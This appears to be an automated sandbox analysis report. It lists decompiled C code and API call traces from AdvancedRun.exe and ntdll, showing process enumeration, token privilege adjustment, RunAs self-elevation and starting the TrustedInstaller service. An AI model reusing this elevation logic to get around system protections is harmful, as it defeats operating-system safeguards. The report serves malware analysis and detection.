TpSetPoolMaxThreads.1105(00000000,00000000,6AA086C4,6AA086C4,00000008,?,00000000,00000008,?,6A96F8D6,?,00000000,00000000,?,6A9122D2,00000000), ref: 6A9E80F3
TpSetPoolMaxThreadsSoftLimit.1105(00000000,00000000,00000000,00000000,6AA086C4,6AA086C4,00000008,?,00000000,00000008,?,6A96F8D6,?,00000000,00000000), ref: 6A9E80FB

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLockPoolThreads$AcquireLimitReleaseSoft
String ID:
API String ID: 4208054433-0
Opcode ID: 6f3a9a134e673e1de8788245633bf3fe73141e3cdc9c32823d937e8555aa9950
Instruction ID: ec4b4c9dadd8be36ac26baa1ce4cccc85e3eb97bff8bbd3a4997264bbee1d5fd
Opcode Fuzzy Hash: 6f3a9a134e673e1de8788245633bf3fe73141e3cdc9c32823d937e8555aa9950
Instruction Fuzzy Hash: DE113A31B05221A7871F9AE84CE0ACAB698BF89349F328229E910E7343CE21CD4147D5

Uniqueness

Uniqueness Score: -1.00%

Function 6A9A2D0B, Relevance: 6.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

RtlAcquireSRWLockShared.1105(?,00000000,00000000,00000008,?,?,6A96FFD2,00000000,?,00000000,00000000,00000000,00001030,000000FF,?,00000000), ref: 6A9A2D24
RtlAcquireSRWLockShared.1105(0000000C,?,00000000,00000000,00000008,?,?,6A96FFD2,00000000,?,00000000,00000000,00000000,00001030,000000FF,?), ref: 6A9A2D3C

Part of subcall function 6A93FAD0: RtlDllShutdownInProgress.1105(00000000), ref: 6A93FB35
Part of subcall function 6A93FAD0: ZwWaitForAlertByThreadId.1105(?,00000000,?,?,?,?,?,?,?,00000000), ref: 6A93FBE3

RtlReleaseSRWLockShared.1105(0000000C,0000000C,?,00000000,00000000,00000008,?,?,6A96FFD2,00000000,?), ref: 6A9A2D6A
RtlReleaseSRWLockShared.1105(?,?,00000000,00000000,00000008,?,?,6A96FFD2,00000000,?,00000000,00000000,00000000,00001030,000000FF,?), ref: 6A9A2D95

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: LockShared$AcquireRelease$AlertProgressShutdownThreadWait
String ID:
API String ID: 276812241-0
Opcode ID: 88fae9dfdcc93d6ae2d57cec0dcf665d3006a5fdfbd936ab78bbb9f86fe61423
Instruction ID: 576e68da7324338fffbf51b169ea14bb9137ab1772623c49d083f514ca6aa64c
Opcode Fuzzy Hash: 88fae9dfdcc93d6ae2d57cec0dcf665d3006a5fdfbd936ab78bbb9f86fe61423
Instruction Fuzzy Hash: 4511A3325003199FCB20CA65C484956B3FCEF85218B2184AFD64DD7622DF32ED46C790

Uniqueness

Uniqueness Score: -1.00%

Function 6A93E63F, Relevance: 6.1, APIs: 4, Instructions: 53threadCOMMON

Download Yara Rule

APIs

RtlSetThreadWorkOnBehalfTicket.1105(?,?,?), ref: 6A93E68B
TpCallbackMayRunLong.1105(?,?,?), ref: 6A93E6A3
RtlActivateActivationContextUnsafeFast.1105(?,?,?,?,?,6A949688,?,00000000,00000000,00000001,?,?,7FFE0386), ref: 6A96E258

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: ActivateActivationBehalfCallbackContextFastLongThreadTicketUnsafeWork
String ID:
API String ID: 3384506009-0
Opcode ID: 09daa6f13e10e10deb403ab3800f05a1ef34cbce950abe0e6d2b8a8228a42360
Instruction ID: 017cbe319e60c363163df08310476243d471bdb85ba808c53d831ac0e60aeb2c
Opcode Fuzzy Hash: 09daa6f13e10e10deb403ab3800f05a1ef34cbce950abe0e6d2b8a8228a42360
Instruction Fuzzy Hash: D801A171544A109FDB60CF2AC8C8B42B7FDAF4732CF200669D9554B185DB71EC85CB85

Uniqueness

Uniqueness Score: -1.00%

Function 6A9C8061, Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 402COMMON

Download Yara Rule

Strings

xn--, xrefs: 6A9C80F6, 6A9C810E, 6A9C821C, 6A9C8223
xl--, xrefs: 6A9C80FD, 6A9C8215

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: xl--$xn--
API String ID: 0-2182639396
Opcode ID: 419e4c4a24a46e6c3ca3b8215a49a0c998391ad19c3a52510da58cb29bd9cc06
Instruction ID: cf208c6d01670c4648976cd2289d8ae26bb258f01c29e166314c47a16187af56
Opcode Fuzzy Hash: 419e4c4a24a46e6c3ca3b8215a49a0c998391ad19c3a52510da58cb29bd9cc06
Instruction Fuzzy Hash: 1FE1A071E006199FDF18CFA8C8946ADB7B5BF88310F35C42AD956A7240FB74D9818B53

Uniqueness

Uniqueness Score: -1.00%

Function 6A923AD2, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

Strings

MUI, xrefs: 6A97816E

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: MUI
API String ID: 0-1339004836
Opcode ID: 14afffe5e6ea27eda8e21a2fd2ce12e9af236179593101907a770989684e8188
Instruction ID: 807b7c77863ea5db3dea70001af7fa385c78fa70c0e0f2e5f343fa1c43f01255
Opcode Fuzzy Hash: 14afffe5e6ea27eda8e21a2fd2ce12e9af236179593101907a770989684e8188
Instruction Fuzzy Hash: B6319E30A1411A9B9B24DFA9C8C45BFF7B9BF55740F61815AEC509B605EF30D981C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6A923B30, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

RtlLcidToLocaleName.1105(?,?,00000002,00000000,C0000034,00000000,?,?,?,00000000,00000001,00000000,00000000), ref: 6A923B76
RtlInitUnicodeString.1105(?,MUI,C0000034,00000000,?,?,?,00000000,00000001,00000000,00000000), ref: 6A923BC8

Strings

MUI, xrefs: 6A923BC2

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitLcidLocaleNameStringUnicode
String ID: MUI
API String ID: 1552940156-1339004836
Opcode ID: b9d1753675b553694235f148744a1a9aeada17d04e8d6cd3ec109d3e6fa8c7a6
Instruction ID: 4df92fa77dd26ac126b6e98e70f1fed4a1144ee2a9a889ffc2ccf0fcbfc7c37b
Opcode Fuzzy Hash: b9d1753675b553694235f148744a1a9aeada17d04e8d6cd3ec109d3e6fa8c7a6
Instruction Fuzzy Hash: D7219D75A112059BE714DE25C491D7BF7ECEF94764B22861EFC548B209EB30E882C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 6A99F2B7, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

_wcsicmp.1105(?,?,-00000054,-00000054,00000000), ref: 6A99F2FB
DbgPrint.1105(AVRF: pid 0x%X: found dll descriptor for `%ws' with verified exports ,?,?,-00000054,-00000054,00000000), ref: 6A99F323

Strings

AVRF: pid 0x%X: found dll descriptor for `%ws' with verified exports , xrefs: 6A99F31E

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print_wcsicmp
String ID: AVRF: pid 0x%X: found dll descriptor for `%ws' with verified exports
API String ID: 2655330621-555053354
Opcode ID: 8ab457ad676fb8bbd6abf8e5259ef605480beae5395805420771dd23529c9b04
Instruction ID: 371738f8a4801f0c0ac1d040a2c5211dc914830ebdb18e808914e487371d4ffb
Opcode Fuzzy Hash: 8ab457ad676fb8bbd6abf8e5259ef605480beae5395805420771dd23529c9b04
Instruction Fuzzy Hash: 67216D32904608EFCB15CE54D981759FBB9AF8536CF3A8199E85467291CF35ED42CB80

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: AdvancedRun.exe PID: 4288 Parent PID: 5344 AdvancedRun.exeCOMMON

Executed Functions

Function 004095FD, Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 120
processlibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E004095FD(void* __edx, void* __eflags, intOrPtr _a4) {
				void* _v8;
				void* _v12;
				char _v16;
				char _v24;
				char _v32;
				char _v40;
				char _v48;
				intOrPtr _v52;
				char _v576;
				long _v580;
				intOrPtr _v1112;
				long _v1128;
				void _v1132;
				void* _v1136;
				void _v1658;
				char _v1660;
				void* __edi;
				void* __esi;
				void* _t41;
				int _t46;
				long _t49;
				void* _t50;
				intOrPtr* _t66;
				struct HINSTANCE__* _t68;
				void* _t71;
				void* _t83;
				void* _t84;
				void* _t85;

				_t78 = _a4;
				E004099D4(_a4 + 0x28);
				_t41 = CreateToolhelp32Snapshot(2, 0); // executed
				_v12 = _t41;
				memset( &_v1132, 0, 0x228);
				_t84 = _t83 + 0xc;
				_v1136 = 0x22c;
				Process32FirstW(_v12,  &_v1136); // executed
				while(1) {
					_t46 = Process32NextW(_v12,  &_v1136); // executed
					if(_t46 == 0) {
						break;
					}
					E004090AF( &_v580);
					_t49 = _v1128;
					_v580 = _t49;
					_v52 = _v1112;
					_t50 = OpenProcess(0x410, 0, _t49);
					_v8 = _t50;
					if(_t50 != 0) {
						L4:
						_v1660 = 0;
						memset( &_v1658, 0, 0x208);
						_t85 = _t84 + 0xc;
						E004098F9(_t78, _v8,  &_v1660);
						if(_v1660 != 0) {
							L10:
							E0040920A( &_v576,  &_v1660);
							E00409555(_v8,  &_v48,  &_v40,  &_v32,  &_v24); // executed
							_t84 = _t85 + 0x14;
							CloseHandle(_v8);
							_t78 = _a4;
							L11:
							E004099ED(_t78 + 0x28,  &_v580);
							continue;
						}
						_v16 = 0x104;
						if( *0x41c8e0 == 0) {
							_t68 = GetModuleHandleW(L"kernel32.dll");
							if(_t68 != 0) {
								 *0x41c8e0 = 1;
								 *0x41c8e4 = GetProcAddress(_t68, "QueryFullProcessImageNameW");
							}
						}
						_t66 =  *0x41c8e4;
						if(_t66 != 0) {
							 *_t66(_v8, 0,  &_v1660,  &_v16); // executed
						}
						goto L10;
					}
					if( *((intOrPtr*)(E00404BAF() + 4)) <= 5) {
						goto L11;
					}
					_t71 = OpenProcess(0x1000, 0, _v580);
					_v8 = _t71;
					if(_t71 == 0) {
						goto L11;
					}
					goto L4;
				}
				return CloseHandle(_v12);
			}

0x00409609
0x0040960f
0x00409619
0x00409623
0x0040962e
0x00409633
0x00409640
0x0040964a
0x00409782
0x0040978c
0x00409793
0x00000000
0x00000000
0x0040965a
0x0040965f
0x00409678
0x0040967e
0x00409681
0x00409685
0x00409688
0x004096b2
0x004096bf
0x004096c6
0x004096cb
0x004096da
0x004096e6
0x0040973b
0x00409747
0x0040975f
0x00409764
0x0040976a
0x00409770
0x00409773
0x0040977d
0x00000000
0x0040977d
0x004096ee
0x004096f5
0x004096fc
0x00409704
0x0040970c
0x0040971c
0x0040971c
0x00409704
0x00409721
0x00409728
0x00409739
0x00409739
0x00000000
0x00409728
0x00409693
0x00000000
0x00000000
0x004096a5
0x004096a9
0x004096ac
0x00000000
0x00000000
0x00000000
0x004096ac
0x004097a6

APIs

Part of subcall function 004099D4: free.MSVCRT(00000000,00409614,?,?,00000000), ref: 004099DB

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00409619
memset.MSVCRT ref: 0040962E
Process32FirstW.KERNEL32(?,?), ref: 0040964A
OpenProcess.KERNEL32(00000410,00000000,?,?,?,00000000), ref: 00409681
OpenProcess.KERNEL32(00001000,00000000,?), ref: 004096A5
memset.MSVCRT ref: 004096C6
GetModuleHandleW.KERNEL32(kernel32.dll,00000000,?), ref: 004096FC
GetProcAddress.KERNEL32(00000000,QueryFullProcessImageNameW), ref: 00409716
QueryFullProcessImageNameW.KERNELBASE(00000000,00000000,?,00000104,00000000,?), ref: 00409739
CloseHandle.KERNEL32(00000000,?,?,?,00000000,?), ref: 0040976A
Process32NextW.KERNEL32(?,0000022C), ref: 0040978C
CloseHandle.KERNEL32(?,?,0000022C,?,?,?,?,00000000,?), ref: 0040979C

Strings

QueryFullProcessImageNameW, xrefs: 00409706
kernel32.dll, xrefs: 004096F7

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: HandleProcess$CloseOpenProcess32memset$AddressCreateFirstFullImageModuleNameNextProcQuerySnapshotToolhelp32free
String ID: QueryFullProcessImageNameW$kernel32.dll
API String ID: 239888749-1740548384
Opcode ID: 93ba788d12a5409cd6757bb7493d38e70eb600f2f73dc0c750eaff65fc83c0f1
Instruction ID: d99fb1acad5946e2155d0e2cb4f7ec9e68cfc0f9061ce230986eeb1e4b65db1d
Opcode Fuzzy Hash: 93ba788d12a5409cd6757bb7493d38e70eb600f2f73dc0c750eaff65fc83c0f1
Instruction Fuzzy Hash: 10413DB2900118EEDB10EFA0DCC5AEEB7B9EB44348F1041BAE609B3191D7359E85DF59

Uniqueness

Uniqueness Score: -1.00%

Function 00401C26, Relevance: 22.8, APIs: 9, Strings: 4, Instructions: 72
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00401C26(long _a4) {
				struct _SHELLEXECUTEINFOW _v68;
				void _v582;
				char _v584;
				void _v1110;
				char _v1112;
				long _t23;
				int _t36;
				int _t41;
				void* _t43;
				long _t44;

				_t44 = 0;
				_t23 = GetCurrentProcessId();
				_v584 = 0;
				memset( &_v582, 0, 0x1fe);
				_v1112 = 0;
				memset( &_v1110, 0, 0x208);
				E00404AD9( &_v1112);
				_push(_t23);
				_push(0);
				_push(_a4);
				_push(L"/SpecialRun %I64x %d");
				_push(0xff);
				_push( &_v584);
				L0040B1EC();
				memset( &(_v68.fMask), 0, 0x38);
				_v68.lpFile =  &_v1112;
				_v68.lpParameters =  &_v584;
				_v68.cbSize = 0x3c;
				_v68.lpVerb = L"RunAs";
				_v68.fMask = 0x40;
				_v68.nShow = 5;
				_t36 = ShellExecuteExW( &_v68); // executed
				_t43 = _v68.hProcess;
				if(_t36 == 0) {
					_t44 = GetLastError();
				} else {
					WaitForSingleObject(_t43, 0x5dc);
					_a4 = 0;
					_t41 = GetExitCodeProcess(_t43,  &_a4); // executed
					if(_t41 != 0 && _a4 != 0x103) {
						_t44 = _a4;
					}
				}
				return _t44;
			}

0x00401c31
0x00401c33
0x00401c48
0x00401c4f
0x00401c61
0x00401c68
0x00401c74
0x00401c79
0x00401c7a
0x00401c7b
0x00401c84
0x00401c89
0x00401c8e
0x00401c8f
0x00401c9b
0x00401ca6
0x00401caf
0x00401cb9
0x00401cc0
0x00401cc7
0x00401cce
0x00401cd5
0x00401cdd
0x00401ce0
0x00401d14
0x00401ce2
0x00401ce8
0x00401cf3
0x00401cf6
0x00401cfe
0x00401d09
0x00401d09
0x00401cfe
0x00401d1b

APIs

GetCurrentProcessId.KERNEL32(004101D8,?), ref: 00401C33
memset.MSVCRT ref: 00401C4F
memset.MSVCRT ref: 00401C68

Part of subcall function 00404AD9: GetModuleFileNameW.KERNEL32(00000000,e/@,00000104,00402F65,00000000,?,?,00000000), ref: 00404AE4

_snwprintf.MSVCRT ref: 00401C8F
memset.MSVCRT ref: 00401C9B
ShellExecuteExW.SHELL32(?), ref: 00401CD5
WaitForSingleObject.KERNEL32(?,000005DC), ref: 00401CE8
GetExitCodeProcess.KERNELBASE ref: 00401CF6
GetLastError.KERNEL32 ref: 00401D0E

Strings

@, xrefs: 00401CC7
/SpecialRun %I64x %d, xrefs: 00401C84
RunAs, xrefs: 00401CC0
<, xrefs: 00401CB9

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$Process$CodeCurrentErrorExecuteExitFileLastModuleNameObjectShellSingleWait_snwprintf
String ID: /SpecialRun %I64x %d$<$@$RunAs
API String ID: 903100921-3385179869
Opcode ID: b1512c014bb39f996462de76d08949c278b93179518c0e0ab6201644cc20f86b
Instruction ID: 2715f163b7cd274c39606e2610d12bc00880993b2534c3bb77a56ee1366ffd0d
Opcode Fuzzy Hash: b1512c014bb39f996462de76d08949c278b93179518c0e0ab6201644cc20f86b
Instruction Fuzzy Hash: FD216D71900118FBDB20DB91CD48ADF7BBCEF44744F004176F608B6291D778AA84CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00408FC9, Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 63
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408FC9(struct HINSTANCE__** __eax, void* __eflags, WCHAR* _a4) {
				void* _v8;
				intOrPtr _v12;
				struct _TOKEN_PRIVILEGES _v24;
				void* __esi;
				_Unknown_base(*)()* _t16;
				_Unknown_base(*)()* _t18;
				long _t19;
				_Unknown_base(*)()* _t22;
				_Unknown_base(*)()* _t24;
				struct HINSTANCE__** _t35;
				void* _t37;

				_t37 = __eflags;
				_t35 = __eax;
				if(E00408F92(_t35, _t37, GetCurrentProcess(), 0x28,  &_v8) == 0) {
					return GetLastError();
				}
				_t16 = E00408F72(_t35);
				__eflags = _t16;
				if(_t16 != 0) {
					_t24 = GetProcAddress( *_t35, "LookupPrivilegeValueW");
					__eflags = _t24;
					if(_t24 != 0) {
						LookupPrivilegeValueW(0, _a4,  &(_v24.Privileges)); // executed
					}
				}
				_v24.PrivilegeCount = 1;
				_v12 = 2;
				_a4 = _v8;
				_t18 = E00408F72(_t35);
				__eflags = _t18;
				if(_t18 != 0) {
					_t22 = GetProcAddress( *_t35, "AdjustTokenPrivileges");
					__eflags = _t22;
					if(_t22 != 0) {
						AdjustTokenPrivileges(_a4, 0,  &_v24, 0, 0, 0); // executed
					}
				}
				_t19 = GetLastError();
				FindCloseChangeNotification(_v8); // executed
				return _t19;
			}

0x00408fc9
0x00408fd0
0x00408fe8
0x00000000
0x00408fea
0x00408ff4
0x00409001
0x00409003
0x0040900c
0x0040900e
0x00409010
0x0040901a
0x0040901a
0x00409010
0x0040901f
0x00409026
0x0040902d
0x00409030
0x00409035
0x00409037
0x00409040
0x00409042
0x00409044
0x00409051
0x00409051
0x00409044
0x00409053
0x0040905e
0x00000000

APIs

GetCurrentProcess.KERNEL32(00000028,00000000), ref: 00408FD8

Part of subcall function 00408F92: GetProcAddress.KERNEL32(00000000,OpenProcessToken), ref: 00408FA8

GetLastError.KERNEL32(00000000), ref: 00408FEA
GetProcAddress.KERNEL32(00000000,LookupPrivilegeValueW), ref: 0040900C
LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 0040901A
GetProcAddress.KERNEL32(00000000,AdjustTokenPrivileges), ref: 00409040
AdjustTokenPrivileges.KERNELBASE(00000002,00000000,00000001,00000000,00000000,00000000), ref: 00409051
GetLastError.KERNEL32(00000000,00000000,00000000), ref: 00409053
FindCloseChangeNotification.KERNELBASE(00000000), ref: 0040905E

Strings

LookupPrivilegeValueW, xrefs: 00409005
AdjustTokenPrivileges, xrefs: 00409039

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$ErrorLast$AdjustChangeCloseCurrentFindLookupNotificationPrivilegePrivilegesProcessTokenValue
String ID: AdjustTokenPrivileges$LookupPrivilegeValueW
API String ID: 616250965-1253513912
Opcode ID: b5b45514c93916933a35bd7cc4bbde3415ee7f14846a7c37f1b94fb4e6c9eb93
Instruction ID: 03a5dc6c67e2a3af6dad2eaf9b7d3d3c38ee31464385454108c093b6d6cde588
Opcode Fuzzy Hash: b5b45514c93916933a35bd7cc4bbde3415ee7f14846a7c37f1b94fb4e6c9eb93
Instruction Fuzzy Hash: 34114F72500105FFEB10AFF4DD859AF76ADAB44384B10413AF541F2192DA789E449B68

Uniqueness

Uniqueness Score: -1.00%

Function 00401306, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38
serviceCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401306(void* _a4) {
				intOrPtr _v28;
				struct _SERVICE_STATUS _v32;
				void* _t5;
				int _t12;
				void* _t14;

				_t12 = 0; // executed
				_t5 = OpenServiceW(_a4, L"TrustedInstaller", 0x34); // executed
				_t14 = _t5;
				if(_t14 != 0) {
					if(QueryServiceStatus(_t14,  &_v32) != 0 && _v28 != 4) {
						_t12 = StartServiceW(_t14, 0, 0);
					}
					CloseServiceHandle(_t14);
				}
				CloseServiceHandle(_a4);
				return _t12;
			}

0x00401319
0x0040131b
0x00401327
0x0040132b
0x0040133a
0x0040134b
0x0040134b
0x0040134e
0x0040134e
0x00401353
0x0040135b

APIs

OpenServiceW.ADVAPI32(00402183,TrustedInstaller,00000034,?,?,00000000,?,?,?,?,?,00402183,00000000), ref: 0040131B
QueryServiceStatus.ADVAPI32(00000000,?,?,?,?,?,?,00402183,00000000), ref: 00401332
StartServiceW.ADVAPI32(00000000,00000000,00000000), ref: 00401345
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,00402183,00000000), ref: 0040134E
CloseServiceHandle.ADVAPI32(00402183,?,?,?,?,?,00402183,00000000), ref: 00401353

Strings

TrustedInstaller, xrefs: 00401311

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Service$CloseHandle$OpenQueryStartStatus
String ID: TrustedInstaller
API String ID: 862991418-565535830
Opcode ID: e275db5ffe703eced9a7585420ea8a7e70def606d9c8162886671e7be63d83f8
Instruction ID: 300c39592a487ff017dde1f9aaf4b69bffecac74e3568357a1b40912e0f2caec
Opcode Fuzzy Hash: e275db5ffe703eced9a7585420ea8a7e70def606d9c8162886671e7be63d83f8
Instruction Fuzzy Hash: F9F08275601218FBE7222BE59CC8DAF7A6CDF88794B040132FD01B12A0D674DD05C9F9

Uniqueness

Uniqueness Score: -1.00%

Function 0040A33B, Relevance: 6.1, APIs: 4, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A33B(unsigned int _a4, WCHAR* _a8, WCHAR* _a12) {
				struct HRSRC__* _t12;
				void* _t16;
				void* _t17;
				signed int _t18;
				signed int _t26;
				signed int _t29;
				signed int _t33;
				struct HRSRC__* _t35;
				signed int _t36;

				_t12 = FindResourceW(_a4, _a12, _a8); // executed
				_t35 = _t12;
				if(_t35 != 0) {
					_t33 = SizeofResource(_a4, _t35);
					if(_t33 > 0) {
						_t16 = LoadResource(_a4, _t35);
						if(_t16 != 0) {
							_t17 = LockResource(_t16);
							if(_t17 != 0) {
								_a4 = _t33;
								_t29 = _t33 * _t33;
								_t36 = 0;
								_t7 =  &_a4;
								 *_t7 = _a4 >> 2;
								if( *_t7 != 0) {
									do {
										_t26 =  *(_t17 + _t36 * 4) * _t36 * _t33 * 0x00000011 ^  *(_t17 + _t36 * 4) + _t29;
										_t36 = _t36 + 1;
										_t29 = _t26;
									} while (_t36 < _a4);
								}
								_t18 =  *0x40fa70; // 0xfcb617dc
								 *0x40fa70 = _t18 + _t29 ^ _t33;
							}
						}
					}
				}
				return 1;
			}

0x0040a348
0x0040a34e
0x0040a352
0x0040a35f
0x0040a363
0x0040a369
0x0040a371
0x0040a374
0x0040a37c
0x0040a380
0x0040a383
0x0040a386
0x0040a388
0x0040a388
0x0040a38c
0x0040a38f
0x0040a39f
0x0040a3a1
0x0040a3a5
0x0040a3a5
0x0040a3a9
0x0040a3aa
0x0040a3b3
0x0040a3b3
0x0040a37c
0x0040a371
0x0040a3b8
0x0040a3be

APIs

FindResourceW.KERNELBASE(?,?,?), ref: 0040A348
SizeofResource.KERNEL32(?,00000000), ref: 0040A359
LoadResource.KERNEL32(?,00000000), ref: 0040A369
LockResource.KERNEL32(00000000), ref: 0040A374

Memory Dump Source

Source File: 00000020.00000002.422435834.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000020.00000002.422423819.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422467670.000000000040C000.00000002.00020000.sdmp Download File
Associated: 00000020.00000002.422488405.000000000040F000.00000004.00020000.sdmp Download File
Associated: 00000020.00000002.422514138.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: 92957de205b1cf6ef3f394a564c4f395d7934c53f24f2b06f4a74fbc6cc11166
Instruction ID: cffa73b79ff672a66ed03b266e9253c2cf49bd0e4e2f0a3a12bdb4b298abf715
Opcode Fuzzy Hash: 92957de205b1cf6ef3f394a564c4f395d7934c53f24f2b06f4a74fbc6cc11166
Instruction Fuzzy Hash: 1101C032700315ABCB194FA5DD8995BBFAEFB852913088036ED09EA2A1D730C811CA88

Uniqueness

Uniqueness Score: -1.00%

Function 004022D5, Relevance: 61.7, APIs: 25, Strings: 10, Instructions: 435
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E004022D5(void* __ecx, void* __edx, void* __eflags, long _a4, long _a8) {
				WCHAR* _v8;
				signed int _v12;
				int _v16;
				int _v20;
				char* _v24;
				int _v28;
				intOrPtr _v32;
				int _v36;
				int _v40;
				char _v44;
				void* _v56;
				int _v60;
				char _v92;
				void _v122;
				int _v124;
				short _v148;
				signed int _v152;
				intOrPtr _v168;
				intOrPtr _v172;
				intOrPtr _v176;
				intOrPtr _v180;
				void _v192;
				char _v196;
				char _v228;
				void _v258;
				int _v260;
				void _v786;
				short _v788;
				void _v1314;
				short _v1316;
				void _v1842;
				short _v1844;
				void _v18234;
				short _v18236;
				char _v83772;
				void* __ebx;
				void* __edi;
				void* __esi;
				short* _t174;
				short _t175;
				signed int _t176;
				short _t177;
				short _t178;
				int _t184;
				signed int _t187;
				intOrPtr _t207;
				intOrPtr _t219;
				int* _t252;
				int* _t253;
				int* _t266;
				int* _t267;
				wchar_t* _t270;
